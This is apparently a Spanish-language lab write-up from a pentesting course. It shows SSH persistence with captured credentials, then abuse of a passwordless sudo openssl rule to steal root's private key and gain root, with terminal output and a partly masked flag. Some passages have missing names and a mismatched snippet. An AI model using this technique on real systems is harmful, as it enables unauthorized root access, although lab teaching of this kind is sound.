Ahora que hemos trabajado tanto para conseguir este punto de apoyo, no queremos perderlo. El objetivo es usar este host como punto de apoyo para acceder al resto de la red interna. Nuestro shell aún es relativamente inestable y no queremos seguir configurando el acceso con múltiples pasos para ser lo más eficientes posible y dedicar el máximo tiempo posible a la evaluación, no a manipular los shells.
Hundiendo nuestros anzuelos
Ahora que tenemos las credenciales (srvadm:ILFreightnixadm!), podemos aprovechar el puerto SSH que vimos abierto anteriormente y conectarnos para obtener una conexión estable. Esto es importante porque queremos volver lo más cerca posible del mismo punto al inicio de las pruebas cada día, para no perder tiempo en la configuración.
Ahora no siempre tendremos SSH abierto a internet y es posible que tengamos que lograr la persistencia de otra manera. Podríamos crear un binario de reverse shell en el host, ejecutarlo mediante la inyección de comandos, obtener un reverse shell o un shell de Meterpreter y luego trabajar con él. Dado que SSH está disponible, lo usaremos. Hay muchas maneras de pivotar y tunelizar nuestro tráfico, que se trataron en profundidad en el módulo , por lo que vale la pena probar algunas de ellas en esta sección para adquirir más práctica. Necesitaremos usar algunas de ellas a medida que profundicemos en esta red.
También es útil tener una forma alternativa de volver a acceder al usar las credenciales de alguien, ya que podrían notar que su cuenta está comprometida o que llega ese momento del mes en que se les solicita cambiar su contraseña, y no podremos volver a conectarnos al día siguiente. Siempre debemos anticiparnos, analizar cada aspecto e intentar anticiparnos a los problemas antes de que surjan. Un laboratorio es muy diferente del mundo real, y no hay reinicios ni segundas oportunidades, por lo que debemos trabajar meticulosamente y mantener el máximo conocimiento de la situación.
afsh4ck@kali$ ssh srvadm@10.129.203.111
The authenticity of host '10.129.203.111 (10.129.203.111)' can't be established.
ECDSA key fingerprint is SHA256:3I77Le3AqCEUd+1LBAraYTRTF74wwJZJiYcnwfF5yAs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.203.111' (ECDSA) to the list of known hosts.
srvadm@10.129.203.111's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-113-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 21 Jun 2022 07:30:27 PM UTC
System load: 0.31
Usage of /: 95.8% of 13.72GB
Memory usage: 64%
Swap usage: 0%
Processes: 458
Users logged in: 0
IPv4 address for br-65c448355ed2: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.129.203.111
IPv6 address for ens160: dead:beef::250:56ff:feb9:d30d
IPv4 address for ens192: 172.16.8.120
=> / is using 95.8% of 13.72GB
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
97 updates can be applied immediately.
30 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Last login: Wed Jun 1 07:08:59 2022 from 127.0.0.1
$ /bin/bash -i
srvadm@dmz01:~
Ahora que tenemos una conexión estable a través de SSH, podemos comenzar a enumerar más.
Escalada de privilegios locales
id para ver si la cuenta comprometida está en algún grupo local privilegiado.
sudo -l para ver si la cuenta tiene algún tipo de privilegios sudo para ejecutar comandos como otro usuario o como root.
La mayoría de las veces, mi camino para escalar privilegios en una máquina Linux durante un pentest no fue un ataque complejo, sino algo simple como un sudo su sin una contraseña para obtener privilegios de root o no tener que escalar privilegios porque el servicio que exploté se estaba ejecutando en el contexto de la cuenta root. Es necesario comprender y practicar tantas técnicas como sea posible porque, como hemos dicho algunas veces, cada entorno es diferente y queremos tener el conjunto de herramientas más completo posible a nuestra disposición.
srvadm@dmz01:~$ sudo -l
Matching Defaults entries for srvadm on dmz01:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User srvadm may run the following commands on dmz01:
(ALL) NOPASSWD: /usr/bin/openssl
Probemos esto para ver si podemos obtener la clave privada SSH del usuario root. Esto es ideal en lugar de intentar simplemente leer el archivo /etc/shadow u obtener una reverse shell, ya que el archivo ida_rsa de clave privada nos permitirá acceder al entorno por SSH como root, lo cual es perfecto para configurar nuestros pivotes.
La entrada indica que podemos utilizar el binario para lecturas de archivos privilegiadas de la siguiente manera:
Este archivo siempre lo deberíamos almacenar en notas o en un documento seguro para que podamos utilizarlo para acceder por SSH sin especificar una contraseña.
Estableciendo la persistencia
¡Éxito! Ahora podemos guardar la clave privada en nuestro sistema local, modificar los privilegios y usarla para acceder por SSH como root y confirmar los privilegios.
afsh4ck@kali$ chmod 600 dmz01_key
afsh4ck@kali$ ssh -i dmz01_key root@10.129.203.111
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-113-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 21 Jun 2022 07:53:00 PM UTC
System load: 0.04
Usage of /: 97.1% of 13.72GB
Memory usage: 65%
Swap usage: 0%
Processes: 472
Users logged in: 1
IPv4 address for br-65c448355ed2: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.129.203.111
IPv6 address for ens160: dead:beef::250:56ff:feb9:d30d
IPv4 address for ens192: 172.16.8.120
=> / is using 97.1% of 13.72GB
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
97 updates can be applied immediately.
30 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
You have mail.
Last login: Tue Jun 21 17:50:13 2022
root@dmz01:~#
Funcionó y ahora estamos dentro y tenemos un "punto de guardado" para regresar al entorno interno rápidamente y podemos usar este acceso SSH para configurar un Port Forwarding y pivotar internamente.
Caso práctico
Objetivo: 10.129.229.147
Pregunta 1
Escale los privilegios en el host de destino y envíe el contenido del archivo flag.txt en el directorio /root.
Conexión por SSH
afsh4ck@kali$ ssh srvadm@10.129.229.147
The authenticity of host '10.129.229.147 (10.129.229.147)' can't be established.
ED25519 key fingerprint is SHA256:HfXWue9Dnk+UvRXP6ytrRnXKIRSijm058/zFrj/1LvY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.229.147' (ED25519) to the list of known hosts.
srvadm@10.129.229.147's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-113-generic x86_64)
Last login: Wed Jun 1 07:08:59 2022 from 127.0.0.1
$
Permisos de ejecución
$ sudo -l
Matching Defaults entries for srvadm on dmz01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User srvadm may run the following commands on dmz01:
(ALL) NOPASSWD: /usr/bin/openssl
El usuario srvadm puede ejecutar openssl. Vamos a buscar en GTFO Bins:
En la sección de File Write indica que podemos utilizar el binario para lecturas de archivos privilegiadas de la siguiente manera:
LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
Obtenemos la clave privada id_rsa de root! Esta clave debemos almacenarla bien en nuestro equipo para tener siempre un punto de acceso sin contraseña. Lo guardaremos con el nombre del host para identificarlo, en este caso dmz01_key.
Acceso root
afsh4ck@kali$ chmod 600 dmz01_key
afsh4ck@kali$ ssh -i dmz01_key root@10.129.229.147
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-113-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 09 Apr 2025 07:12:06 PM UTC
Last login: Fri Mar 8 09:55:50 2024
root@dmz01:~#
root@dmz01:~# id
uid=0(root) gid=0(root) groups=0(root)
Acceso a la flag
root@dmz01:~# cd /root
root@dmz01:~# ls
flag.txt snap
root@dmz01:~# cat flag.txt
a34985b5976072c3c148************
Podríamos subir un script de enumeración al sistema como , pero siempre intento dos comandos simples después de obtener acceso:
Hasta ahora, hemos practicado muchas técnicas de . Es genial tener estas técnicas en nuestro bolsillo trasero, especialmente si aterrizamos en un sistema muy reforzado. Sin embargo, estamos tratando con administradores humanos, y los humanos cometen errores y también van por conveniencia.
Al ejecutar sudo -l, vemos que podemos ejecutar el comando /usr/bin/openssl como root sin necesidad de contraseña. Como se sospechaba, existe un para el binario de OpenSSL. La entrada muestra varias maneras de aprovechar esto: para cargar y descargar archivos, obtener una reverse shell, y leer y escribir archivos.